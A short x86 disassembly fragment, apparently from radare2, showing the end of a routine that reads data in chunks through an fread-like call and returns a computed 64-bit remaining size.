call fcn.004103f7
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x404b77
cmp edi, eax
ja 0x404b40
test edi, edi
je 0x404b77
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.004103f7
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc